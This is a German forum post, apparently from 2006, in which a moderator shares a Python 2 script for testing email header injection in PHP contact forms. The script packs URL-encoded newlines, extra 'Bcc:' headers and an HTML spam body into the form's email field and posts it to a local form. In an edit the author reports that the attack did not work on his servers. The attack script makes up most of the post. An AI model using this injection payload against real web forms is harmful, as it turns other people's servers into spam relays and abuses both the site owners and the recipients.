PHP-htmlform-Spammachine...

Code-Stücke können hier veröffentlicht werden.
Antworten
Benutzeravatar
jens
Moderator
Beiträge: 8483
Registriert: Dienstag 10. August 2004, 09:40
Wohnort: duisburg
Kontaktdaten:

Donnerstag 23. März 2006, 07:59

Bei http://www.python-forum.de/viewtopic.php?p=25529#25529 hab ich die Sicherheitslücke in PHP erwähnt... Hier den Sourcecode, mit dem man diese testen kann. Ob das wirklich funktioniert, weiß ich allerdings nicht. Hat irgendwer ein PHP-Kontaktformular, bei dem man das mal wirklich testen kann???
Ein Beispielformular ist bei der c't zu finden: http://www.heise.de/ct/ftp/05/22/208/ (Das werde ich jetzt mal testen)

Code: Alles auswählen

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import sys, urllib2, urllib


emails = [
    "devnull@gibtsnicht.de", # Erste Adresse ist uninteressant
    "spam_opfer1@armesau.de",
    "spam_opfer2@armesau.de"
]
spamText = "Das ist der Spamtext der zu sehen sein soll."


# Zusammenbau der Emails
emails = "%0ABcc:".join(emails)
emails = emails.replace("@","%40")

# Text der Spam-Mail, an EMails anhängen
spamText = "%3Ch1%3E" + spamText + "%3C/h1%3E"
emails += "\rContent-type:multipart/mixed;boundary=xxx\r\r--xxx\r"
emails += "Content-type:text/html\r\r%s--xxx" % spamText

print "-"*79
print emails
print "-"*79

print "Form abschicken:"

# POST Daten, damit das Forumular ausgefüllt und verarbeitet wird
postParams = urllib.urlencode({
   'name'             : 'spammer',
   'vorname'          : 'spammer',
   'email'            : emails,
   'senden'           : 'Senden'
})

conn = urllib2.urlopen(
    "http://localhost/form.php",
    postParams
)

print "-"*79
print conn.info()
print "-"*79
print conn.read()
print "-"*79

conn.close()
EDIT: So, ich hab es jetzt mal auf meinen Servern getestet. Es werden keine zusätzliche SPAM-Mails verschickt... Entweder ist mein Skript falsch, oder die Sicherheitslücke wurde in PHP irgendwann geschlossen...
Naja, ist ja auch egal...

CMS in Python: http://www.pylucid.org
GitHub | Open HUB | Xing | Linked in
Bitcoins to: 1JEgSQepxGjdprNedC9tXQWLpS424AL8cd
Antworten